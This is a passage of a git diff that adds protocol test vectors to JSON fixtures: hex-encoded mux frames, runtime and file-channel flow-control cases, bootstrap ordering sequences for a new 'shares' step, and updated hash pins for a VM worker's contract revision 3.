6e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2236363636363636362d363636362d343636362d383636362d363636363636363636363636225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-repeated", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-five", + "direction": "down", + "hex": "574d58310101000004000000390700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434222c2235353535353535352d353535352d343535352d383535352d353535353535353535353535225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boot-uppercase", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2241414141414141412d414141412d344141412d384141412d414141414141414141414141225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-longer-than-the-set", + "direction": "up", + "hex": "574d58310101000006000000bb0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65222c226672657368225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuation-either", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22656974686572225d7d", + "error": "bad_field" + }, + { + "name": "runtime-ready-continuations-missing", + "direction": "up", + "hex": "574d58310101000006000000980000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "error": "bad_field" } ] } diff --git a/apple/Cowork/WinterCoworkGuest/vectors/runtime-flow.json b/apple/Cowork/WinterCoworkGuest/vectors/runtime-flow.json index 9cb543122..f45cd4753 100644 --- a/apple/Cowork/WinterCoworkGuest/vectors/runtime-flow.json +++ b/apple/Cowork/WinterCoworkGuest/vectors/runtime-flow.json @@ -145,6 +145,99 @@ ], "refusedAt": null }, + { + "name": "an-empty-out-end-frame-clears-nothing", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "out", + "bytes": 0, + "end": true + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 2 + }, + { + "name": "an-empty-err-end-frame-clears-nothing", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "err", + "bytes": 0, + "end": true + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 2 + }, + { + "name": "a-one-byte-out-frame-clears-it", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "out", + "bytes": 1 + }, + { + "stream": "in", + "bytes": 1048576 + } + ], + "refusedAt": null + }, + { + "name": "a-one-byte-out-frame-with-end-clears-it", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "out", + "bytes": 1, + "end": true + }, + { + "stream": "in", + "bytes": 1048576 + } + ], + "refusedAt": null + }, + { + "name": "a-one-byte-err-frame-clears-it", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "err", + "bytes": 1 + }, + { + "stream": "in", + "bytes": 1048576 + } + ], + "refusedAt": null + }, { "name": "two-chunks-then-more-than-the-rest", "steps": [ @@ -159,5 +252,317 @@ ], "refusedAt": 1 } + ], + "fileRequestBytes": 16384, + "fileResponseBytes": 393216, + "fileInFlightRequests": 4, + "fileNote": "Contract revision 3, the guest file channel on conversation 0. A step is `bytes` payload bytes of which the last `newlines` are line ends. FILE_IN request lines count against their own bound (fileInFlightRequests outstanding, fileRequestBytes per line, newline included); a request is answered when a FILE_OUT response line ends; FILE_OUT bytes never clear the runtime IN count and FILE_IN bytes never add to it. `refusedAt` is the index of the first refused step and `error` its code, or null when every step is accepted.", + "fileCases": [ + { + "name": "four-outstanding-requests-are-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-fifth-outstanding-request-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 4, + "error": "oversize" + }, + { + "name": "a-response-frees-one-slot", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "four-requests-in-one-frame", + "steps": [ + { + "stream": "file_in", + "bytes": 400, + "newlines": 4 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "five-requests-in-one-frame-are-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 500, + "newlines": 5 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-of-exactly-16-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 16385, + "newlines": 0 + } + ], + "refusedAt": 0, + "error": "oversize" + }, + { + "name": "a-request-line-split-across-frames-counts-once", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-split-request-line-over-16-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 10000, + "newlines": 0 + }, + { + "stream": "file_in", + "bytes": 6385, + "newlines": 1 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "a-response-with-nothing-outstanding-is-refused", + "steps": [ + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 0, + "error": "bad_field" + }, + { + "name": "a-response-line-of-exactly-384-kib-is-accepted", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393216, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "a-response-line-over-384-kib-is-refused", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 393217, + "newlines": 0 + } + ], + "refusedAt": 1, + "error": "oversize" + }, + { + "name": "file-out-bytes-never-clear-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_out", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "in", + "bytes": 1 + } + ], + "refusedAt": 3, + "error": "oversize" + }, + { + "name": "file-in-bytes-never-add-to-the-runtime-in-count", + "steps": [ + { + "stream": "in", + "bytes": 1048576 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 16384, + "newlines": 1 + } + ], + "refusedAt": null, + "error": null + }, + { + "name": "runtime-out-bytes-never-answer-a-file-request", + "steps": [ + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + }, + { + "stream": "out", + "bytes": 10 + }, + { + "stream": "file_in", + "bytes": 100, + "newlines": 1 + } + ], + "refusedAt": 5, + "error": "oversize" + } ] } diff --git a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/PINS.json b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/PINS.json index 35b67b9cc..3e1092c6b 100644 --- a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/PINS.json +++ b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/PINS.json @@ -20,12 +20,12 @@ "note": "Final contract head (round 3 plus: the verdict requires vm_running before draining, flush counts exactly equal, unixId 1000-65533, runtime IN in-flight bound of 1 MiB). envelopes, launcher-lines, mux-frames and guest-stop are additive over the 86a0629f copies; bootstrap-order and runtime-flow are new and are the host's (carried so drift is caught at the pin)." }, "files": { - "bootstrap-order.json": "36be531467c3ceb9d91f0f2cefb02ec40fba324878a021fe5247317a3c389ca4", + "bootstrap-order.json": "2475e6104387b901ff029cd0580849b5bc417a4aefd2e4a1b2019c45a1a0d2cb", "envelopes.json": "115be96ae7021cecfb6e1bb72260e21d3cce6e230133e54da6b3a5f915ac9ffb", "guest-stop.json": "beba7550e5b6dfdaee71345f723a4b17329f39d89533e9860baddb4fc3628a72", "launcher-lines.json": "785d88c4cee0a70d5d985d2c7668c45077b7f29e0a635cf22922fc4a4280c92a", - "mux-frames.json": "d80c4211b76f8b9074328ed57dc0f5a78b8bab9a3b6275aae850736c3bdf20e1", - "runtime-flow.json": "c72950ed10d800447bb17bf14a6a076ddf995e4f9d4e2de968c8a218452727b7", + "mux-frames.json": "e0f92dff66a83bfd41ad9673fece53455b827fab3694250a2ea63a7c0b098b3e", + "runtime-flow.json": "06c79a37d3f34ac6a5ec8045101267e12a57a1b54b698e3cf8718248801fc4b6", "runtime-image.json": "2929af10fe5593a748b4f9d8c1506f2a1393c62b6e4fe4ffc0dba429f4496858", "stop-receipts.json": "9c9a5385e38a5ec632141700962dec87f2cfc707e79db77e6a23bac801091435" }, @@ -36,7 +36,7 @@ "runtime-image.json" ], "relayBlind": { - "note": "The contract says bootstrap and runtime payloads are relayed blind by the launcher and the worker. These mux negatives are refused by the TypeScript parser (daemon side) for their PAYLOAD and are therefore deliberately PASSED THROUGH by the worker, which checks headers only for those classes. The C test asserts exactly this. Round 3 adds the conversation-set, runtime-ready, bootstrap-fault and runtime-stream negatives: the contract says a runtime payload's 4 byte prefix is read by the endpoints only (the worker relays runtime frames without reading them) and the conversation set's 20,480 byte cap is the guest's own, so every one of them is passed through. The control-up `fault` negatives are the worker's and are refused. Contract 6c1f04e8 adds four conversation-set negatives (unixId 1000-65533, a gid equal to a tool uid): bootstrap payloads, passed through.", + "note": "The contract says bootstrap and runtime payloads are relayed blind by the launcher and the worker. These mux negatives are refused by the TypeScript parser (daemon side) for their PAYLOAD and are therefore deliberately PASSED THROUGH by the worker, which checks headers only for those classes. The C test asserts exactly this. Round 3 adds the conversation-set, runtime-ready, bootstrap-fault and runtime-stream negatives: the contract says a runtime payload's 4 byte prefix is read by the endpoints only (the worker relays runtime frames without reading them) and the conversation set's 20,480 byte cap is the guest's own, so every one of them is passed through. The control-up `fault` negatives are the worker's and are refused. Contract 6c1f04e8 adds four conversation-set negatives (unixId 1000-65533, a gid equal to a tool uid): bootstrap payloads, passed through. Contract revision 3 adds the shares, cold-resume, browse-uid, bootstrap-version and file-stream negatives: all bootstrap or runtime payloads, passed through; conversations-timeout-over-ten-minutes became conversations-timeout-over-a-day.", "vectors": [ "plan-protocol-2", "plan-unsorted-nested-keys", @@ -82,7 +82,7 @@ "conversations-tool-classes-repeat", "conversations-tool-class-unknown", "conversations-timeout-zero", - "conversations-timeout-over-ten-minutes", + "conversations-timeout-over-a-day", "conversations-timeout-fraction", "conversations-provider-credential-key", "conversations-provider-url-key", @@ -121,13 +121,65 @@ "conversations-uid-nobody-65534", "conversations-uid-65535", "conversations-gid-nobody", - "conversations-gid-equals-a-tool-uid" + "conversations-gid-equals-a-tool-uid", + "bootstrap-version-one", + "bootstrap-version-three", + "runtime-file-in-travelling-up", + "runtime-file-out-travelling-down", + "runtime-stream-six", + "runtime-file-in-on-conversation-one", + "runtime-file-out-on-conversation-one", + "runtime-file-out-empty-without-end", + "shares-travelling-up", + "shares-mounted-travelling-down", + "shares-empty-list", + "shares-thirteen", + "shares-ten-folders", + "shares-duplicate-tag", + "shares-duplicate-guest-path", + "shares-tag-uppercase", + "shares-tag-thirty-three", + "shares-guidance-writable", + "shares-memory-read-only", + "shares-outputs-wrong-mount", + "shares-folder-nested-mount", + "shares-folder-outside-folders", + "shares-two-memory", + "shares-unknown-kind", + "shares-extra-key", + "conversations-browse-uid-equals-runtime-uid", + "conversations-browse-uid-equals-tool-uid", + "conversations-browse-uid-equals-gid", + "conversations-browse-uid-nobody", + "conversations-browse-uid-missing", + "conversations-continuation-unknown", + "conversations-continuation-missing", + "conversations-fresh-with-ended-boots", + "conversations-ended-boots-include-the-live-boot", + "conversations-ended-boots-repeated", + "conversations-ended-boots-five", + "conversations-ended-boot-uppercase", + "runtime-ready-continuations-longer-than-the-set", + "runtime-ready-continuation-either", + "runtime-ready-continuations-missing" ] }, "hostSideOnly": { "bootstrap-order.json": "host adapter bootstrap sequencing", - "runtime-flow.json": "host-side runtime IN in-flight bound (1 MiB); the worker relays runtime frames blind and needs nothing from it", + "runtime-flow.json": "host-side runtime IN in-flight bound (1 MiB) and the file channel's own bound; the worker relays runtime frames blind and needs nothing from it", "launcher-lines.json": "L1", "stop-receipts.json": "launcher receipts" + }, + "sourceRevision3": { + "note": "Contract revision 3 (2026-10-19: host-backed shares, cold resume, the guest file channel). These three files are re-copied byte for byte from that commit because the worker relays bootstrap and runtime frames blind; the other five stay at `source.head` until the worker implements the new L2 kinds (SH3).", + "repository": "yanlingLabs/winter", + "branch": "cowork/n2-contract-v3", + "head": "5af774eba6774916e74bcd6c2138cff441beb512", + "directory": "packages/core/test/cowork/native/vectors", + "files": [ + "bootstrap-order.json", + "mux-frames.json", + "runtime-flow.json" + ] } } diff --git a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/bootstrap-order.json b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/bootstrap-order.json index 178f6e43f..c16f42932 100644 --- a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/bootstrap-order.json +++ b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/bootstrap-order.json @@ -461,6 +461,338 @@ "index": 1, "reason": "out_of_order" } + }, + { + "name": "full-sequence-with-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "up", + "t": "runtime_ready" + } + ], + "result": { + "ok": true + } + }, + { + "name": "shares-without-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": true + } + }, + { + "name": "conversations-before-shares-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "conversations" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-after-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-before-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 4, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-without-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 5, + "reason": "out_of_order" + } + }, + { + "name": "shares-twice", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-travelling-down", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "fault-answering-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "fault" + } + ], + "result": { + "ok": true + } } ] } diff --git a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/mux-frames.json b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/mux-frames.json index 40112396a..cc6e81a4e 100644 --- a/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/mux-frames.json +++ b/apple/Cowork/WinterCoworkHVFWorker/Tests/fixtures/mux-frames.json @@ -47,42 +47,42 @@ { "name": "bootstrap-up-hello", "direction": "up", - "hex": "574d583101010000010000008c0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008c0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-down-plan", "direction": "down", - "hex": 